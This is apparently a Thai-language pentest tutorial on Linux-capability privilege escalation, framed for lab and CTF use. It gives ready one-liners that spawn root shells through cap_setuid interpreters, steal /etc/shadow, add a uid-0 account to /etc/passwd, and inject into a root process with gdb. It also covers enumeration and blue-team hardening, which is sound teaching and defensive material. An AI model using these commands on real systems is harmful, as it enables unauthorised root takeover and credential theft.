Linux Capabilities
Linux Capabilities แบ่งสิทธิ์ root ก้อนเดียวออกเป็น ~40 ชิ้นย่อยที่ตั้งให้ binary ทีละอย่างได้ แทนการให้ SUID root เต็ม — แต่ capability บางตัว (cap_setuid, cap_dac_read_search, cap_dac_override, cap_sys_admin, cap_sys_ptrace, cap_chown) มีพลังพอจะยกระดับเป็น root ได้ บทนี้ลงลึกแนวคิด capability set, การ enum ด้วย getcap/capsh, วิธี abuse แต่ละ capability แบบ GTFOBins, flow การตัดสินใจ, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — root ที่ถูกแบ่งเป็นชิ้น
เดิม process จะมีสองสถานะ: uid 0 (root) ทำอะไรก็ได้ กับ non-root ที่ถูกจำกัด binary ที่ต้องการสิทธิ์สูงจึงตั้ง SUID root ซึ่งให้อำนาจ root ทั้งหมด ทั้งที่จริงต้องการแค่ส่วนเดียว (เช่น ping ต้องการแค่เปิด raw socket) — เสี่ยงเกินจำเป็น Linux capabilities (ตั้งแต่ kernel 2.2) แบ่งอำนาจ root เป็น ~40 ชิ้น เช่น cap_net_raw = raw socket, cap_net_bind_service = bind port < 1024, cap_setuid = เปลี่ยน uid ได้อิสระ เพื่อให้ binary ได้ เฉพาะที่จำเป็น
แต่หลักการ least-privilege นี้พังทันทีถ้า capability ที่ให้ไปมีพลังพอจะ สร้าง root shell ได้ — เช่น cap_setuid เรียก setuid(0) ได้ตรงๆ เท่ากับได้ root เต็ม การ privesc ผ่าน capability จึงคือการหา binary ที่ (1) มี capability อันตราย และ (2) เรารันมันในลักษณะที่ควบคุมพฤติกรรมได้ (interpreter, tool ที่ read/write ไฟล์ได้)
2. Capability sets และ +ep คืออะไร
capability ผูกกับ process ผ่านหลาย set และผูกกับไฟล์ผ่าน file capabilities เวลาอ่านผล getcap จะเห็นตัวย่อ เช่น cap_setuid+ep — ตัวอักษรหลัง + คือ flag ที่บอกว่า capability นั้นถูกวางไว้ใน set ใด
| สัญลักษณ์ | set | ความหมาย |
|---|---|---|
| e (Effective) | Effective | capability ทำงาน 'ทันที' ที่ exec (ไม่ต้องเรียกขอเอง) |
| p (Permitted) | Permitted | capability ที่ process อนุญาตให้ยกขึ้นมาใช้ได้ |
| i (Inheritable) | Inheritable | ส่งต่อข้าม exec ไปยัง child (พบน้อย) |
| +ep | Effective+Permitted | แบบที่ privesc ง่ายสุด — cap ทำงานเลย |
| +p (ไม่มี e) | Permitted อย่างเดียว | binary ต้อง 'ขอ' cap เอง (program-aware); interpreter ทั่วไปไม่ขอ → มัก abuse ไม่ได้ |
+ep เป็นหลัก — cap_setuid+ep บน python/perl = privesc ทันที ถ้าเห็น +p เฉยๆ (ไม่มี e) แปลว่าโปรแกรมต้องเขียนโค้ดขอ capability เอง (เช่น ping) การ abuse จะยากกว่ามาก3. Enumerate — หา capabilities ทั้งระบบ
# หา binary ทุกตัวที่ตั้ง file capability ทั้งระบบ
getcap -r / 2>/dev/null
# ตัวอย่างผลลัพธ์:
# /usr/bin/ping = cap_net_raw+ep ← ปกติ (ไม่ privesc)
# /usr/bin/python3.8 = cap_setuid+ep ← privesc ได้!
# /usr/bin/perl = cap_setuid+ep ← privesc ได้!
# /usr/bin/vim.basic = cap_dac_override+ep ← เขียนไฟล์อะไรก็ได้!
# /usr/bin/tar = cap_dac_read_search+ep ← อ่าน /etc/shadow ได้!
# ดู capability ของ process/เชลล์ปัจจุบัน (อ่านง่าย)
capsh --print
# ดูดิบจาก /proc (CapEff = effective, CapPrm = permitted)
grep Cap /proc/self/status
# แปลง bitmask เป็นชื่อ:
capsh --decode=00000000a80425fblinpeas.sh รายงาน capability ในหมวด Capabilities และ highlight ตัวที่ privesc ได้เป็นสีแดง — ใช้เป็นด่านแรกได้ แต่ควรรัน getcap -r / ยืนยันเองด้วย (ดู linpeas)4. Capability ที่นำไป privesc ได้
| capability | อำนาจ | abuse เป็น |
|---|---|---|
| cap_setuid | เปลี่ยน uid อิสระ | setuid(0) → root shell (ตรงสุด) |
| cap_setgid | เปลี่ยน gid อิสระ | setgid(0) → สิทธิ์ group root |
| cap_dac_read_search | ข้าม permission การอ่าน/ค้น | อ่านไฟล์ใดก็ได้ เช่น /etc/shadow, private key |
| cap_dac_override | ข้าม permission อ่าน+เขียน+exec | เขียน /etc/passwd, /etc/shadow, sudoers |
| cap_chown | เปลี่ยน owner ไฟล์ | chown ไฟล์ให้ตัวเอง แล้วแก้ (เช่น shadow) |
| cap_fowner | ข้ามการเช็คว่าเป็นเจ้าของ | chmod ไฟล์ที่ไม่ได้เป็นเจ้าของ |
| cap_sys_admin | งาน admin หลายอย่าง (mount ฯลฯ) | mount, ปรับ namespace, หลายช่องทาง |
| cap_sys_ptrace | ptrace/แนบ process อื่น | inject shellcode เข้า process ของ root |
| cap_sys_module | โหลด kernel module | insmod โมดูลชั่วร้าย → รันโค้ดใน kernel |
| cap_net_raw | raw/packet socket | sniff/spoof (ไม่ใช่ privesc ตรง) |
5. cap_setuid — ตรงสุดถึง root
cap_setuid ให้ process เปลี่ยน uid เป็นค่าใดก็ได้รวมทั้ง 0 ดังนั้น interpreter ที่มี capability นี้แค่เรียก setuid(0) แล้ว spawn shell ก็ได้ root ทันที นี่คือรูปแบบที่พบบ่อยสุดในโจทย์ privesc
# python3 มี cap_setuid+ep
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# ยืนยันด้วย id → uid=0(root)
# perl มี cap_setuid+ep
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# ruby
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
# node
./node -e 'process.setuid(0); require("child_process").execSync("/bin/sh",{stdio:"inherit"})'
# gdb (มี python ในตัว)
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# php
./php -r 'posix_setuid(0); system("/bin/sh");'6. cap_dac_read_search / cap_dac_override
สอง capability นี้ไม่ให้ root โดยตรง แต่ให้ ข้าม Discretionary Access Control (DAC) — cap_dac_read_search = อ่าน/ค้นไฟล์ใดก็ได้ (ไม่สนใจ permission), cap_dac_override = อ่าน+เขียน+exec ไฟล์ใดก็ได้ ทั้งคู่นำไป root ได้ทางอ้อมผ่านการอ่าน hash หรือแก้ไฟล์ระบบ
# ตัวอย่าง: tar มี cap_dac_read_search+ep → อ่านไฟล์ที่ปกติอ่านไม่ได้
./tar -cvf /tmp/s.tar /etc/shadow # อ่านได้แม้ไม่ใช่ root
tar -xvf /tmp/s.tar && cat etc/shadow # ได้ hash → hashcat/john
# python มี cap_dac_read_search
./python3 -c 'print(open("/etc/shadow").read())'
# เมื่อได้ shadow → crack (ดู hash-cracking)
# unshadow passwd shadow > combined
# john --wordlist=rockyou.txt combined# vim.basic มี cap_dac_override+ep → เขียนไฟล์ระบบได้
# วิธี 1: เติม user root ปลอมลง /etc/passwd
# openssl passwd -1 -salt x pass123 → $1$x$...
./vim.basic /etc/passwd
# เพิ่มบรรทัด: hacker:$1$x$hash...:0:0:root:/root:/bin/bash
# :wq → su hacker (รหัส pass123) → uid=0
# วิธี 2 (python + cap_dac_override): เขียนตรง
./python3 -c '
open("/etc/passwd","a").write("hacker:$1$x$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/bash\n")'
su hacker # รหัส password
# วิธี 3: ล้าง root password ใน /etc/shadow (แก้ field เป็น :: )7. cap_sys_admin / cap_sys_ptrace / cap_sys_module
- cap_sys_ptrace: แนบ (attach) เข้า process ของ root ที่รันอยู่ แล้ว inject shellcode — เช่นใช้
gdb -p <pid ของ root process>แล้วcall system("/bin/sh")หรือใช้เครื่องมือ inject เข้า process uid 0 เพื่อรันโค้ดในบริบท root - cap_sys_module: โหลด kernel module ได้ → เขียน .ko ที่ spawn root shell / เพิ่ม backdoor แล้ว
insmod evil.koรันโค้ดในระดับ kernel = root เหนือทุกอย่าง - cap_sys_admin: 'เกือบเท่า root' — mount ไฟล์ระบบ, ปรับ namespace, แก้ config หลายอย่าง เช่น mount device ทับ, สร้าง overlay, หรือใช้ร่วมกับ container escape (ดู
docker-escape) - cap_chown + cap_fowner: เปลี่ยน owner/สิทธิ์ไฟล์ระบบ (เช่น chown /etc/shadow ให้ตัวเอง) แล้วแก้ hash
# หา process ที่รันด้วย uid 0
ps -eo pid,user,comm | grep '^ *[0-9]* root'
# แนบด้วย gdb (ต้องมี cap_sys_ptrace) แล้วเรียก system()
gdb -p <root_pid>
(gdb) call (int) system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
(gdb) detach
(gdb) quit
# ได้ SUID bash → เปิด root shell
/tmp/rootbash -p # -p = ไม่ drop privilege8. Flow — เจอ capability แล้วทำอย่างไร
suid), sudo, cron (ดู cron-jobs), writable script — capability เป็นเพียงหนึ่งใน checklist privesc9. ใช้ GTFOBins เป็นตำราอ้างอิง
GTFOBins.github.io รวบรวมวิธี abuse binary มาตรฐานแยกตามบริบท (SUID, Sudo, Capabilities, ...) เมื่อเจอ <binary> = cap_xxx+ep ให้ค้นชื่อ binary ใน GTFOBins แล้วเปิด section Capabilities — จะมี one-liner สำเร็จรูป ถ้า binary นั้นถูก doc ไว้
| binary | capability ที่เจอบ่อย | แนวทาง GTFOBins |
|---|---|---|
| python/python3 | cap_setuid | os.setuid(0)+os.system |
| perl | cap_setuid | POSIX::setuid(0)+exec |
| ruby / node / php | cap_setuid | setuid(0) แล้ว exec shell |
| gdb | cap_setuid / cap_sys_ptrace | python setuid หรือ attach |
| tar / cp / rsync | cap_dac_read_search | ดึงไฟล์ที่อ่านไม่ได้ (shadow) |
| vim / vim.basic | cap_dac_override | เขียนไฟล์ระบบ (passwd) |
| openssl | cap_setuid | engine load หรือ setuid |
10. การป้องกัน (มุม blue team)
- อย่าตั้ง capability บน interpreter/tool ทั่วไป — python/perl/ruby/node/gdb/tar/vim ไม่ควรมี cap_setuid/cap_dac_* เด็ดขาด
- ใช้ +p ไม่ใช่ +ep กับ binary ที่เขียนมารองรับ capability เอง (program-aware) เพื่อไม่ให้ effective ทันทีที่ exec
- audit สม่ำเสมอ:
getcap -r / 2>/dev/nullเป็น baseline แล้วเทียบการเปลี่ยนแปลง - ลบ capability ที่ไม่จำเป็น:
setcap -r /path/to/binary - เลี่ยง cap_sys_admin/cap_sys_module/cap_sys_ptrace — เกือบเท่ากับให้ root
- ใน container ให้ drop capability ทั้งหมดแล้ว add เฉพาะที่ต้องใช้ (
--cap-drop=ALL --cap-add=...)
11. Quick Reference
- capability = สิทธิ์ root แบ่งเป็น ~40 ชิ้น ตั้งให้ binary; มองหา
+ep - หา:
getcap -r / 2>/dev/null· ดูของ process:capsh --print - cap_setuid →
python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' - cap_dac_read_search → อ่าน /etc/shadow แล้ว crack
- cap_dac_override → เขียน /etc/passwd เติม user uid=0
- cap_sys_ptrace → gdb attach process root → system()
- cap_sys_module → insmod evil.ko; cap_sys_admin → mount/namespace
- เทียบ GTFOBins section 'Capabilities' ตามชื่อ binary
- ป้องกัน: อย่าตั้ง cap บน interpreter/tool; ใช้ +p; setcap -r ลบทิ้ง
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้ มีแค่เครื่อง Kali เปล่าๆ กับ shell บนเป้าหมายที่ยังไม่ใช่ root — เพิ่ง enumerate มาแล้วเห็นว่าไม่มี sudo หรือ SUID ที่ใช้ตรงๆ ได้ แต่ getcap เจอ binary แปลกๆ ทำตามขั้นตอนนี้ทีละขั้น
- 1พิมพ์ id และ sudo -l ก่อนเสมอ เผื่อมีทางลัดง่ายกว่า capability
- 2พิมพ์ getcap -r / 2>/dev/null แล้วรอสักครู่ (สแกนทั้งระบบ) — ดูว่ามีบรรทัดไหนที่ไม่ใช่ /usr/bin/ping (ปกติ)
- 3ถ้าเจอบรรทัดแบบ /usr/bin/python3.x = cap_setuid+ep ให้จำ path เต็มไว้ (ต้องเรียกตัวนั้นตรงๆ ไม่ใช่ python3 เฉยๆ ที่มาจาก PATH)
- 4เปิดเบราว์เซอร์ไปที่ gtfobins.github.io พิมพ์ชื่อ binary ที่เจอ แล้วดู section Capabilities ว่ามี one-liner ให้ใช้ไหม
- 5ถ้ามี ให้ copy คำสั่งจาก GTFOBins มาแทนที่ path ด้วย path เต็มที่เจอจริง แล้วรันดู
- 6พิมพ์ id หลังรันเสร็จ ถ้าเห็น uid=0(root) แปลว่าสำเร็จ
- 7ถ้ายังไม่ใช่ root ให้เช็คว่าตัวที่เจอเป็น +p เฉยๆ (ไม่มี e) หรือเปล่า — ถ้าใช่ แปลว่า binary ต้องเขียนโค้ดขอ capability เอง มักไม่ได้ผลกับ interpreter ทั่วไป
- 8ถ้า capability ไม่ช่วยอะไรเลย ให้กลับไปไล่ checklist อื่น (SUID/SGID/cron) ตาม flow ด้านล่าง
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา capability ทั้งระบบ | getcap, capsh | - | gtfobins.github.io |
| ดู capability ของ process ปัจจุบัน | capsh --print, cat /proc/self/status | - | - |
| enumeration อัตโนมัติแบบครบ | - | linpeas (git clone PEASS-ng) | - |
| monitor process/cron ที่ซ่อนอยู่ | - | pspy (wget binary จาก github) | - |
| เทียบวิธี abuse ตามชื่อ binary | - | - | gtfobins.github.io |
| crack hash หลังได้ /etc/shadow | john, hashcat | - | crackstation.net |
| หา exploit สำเร็จรูปเพิ่มเติม | searchsploit | - | exploit-db.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้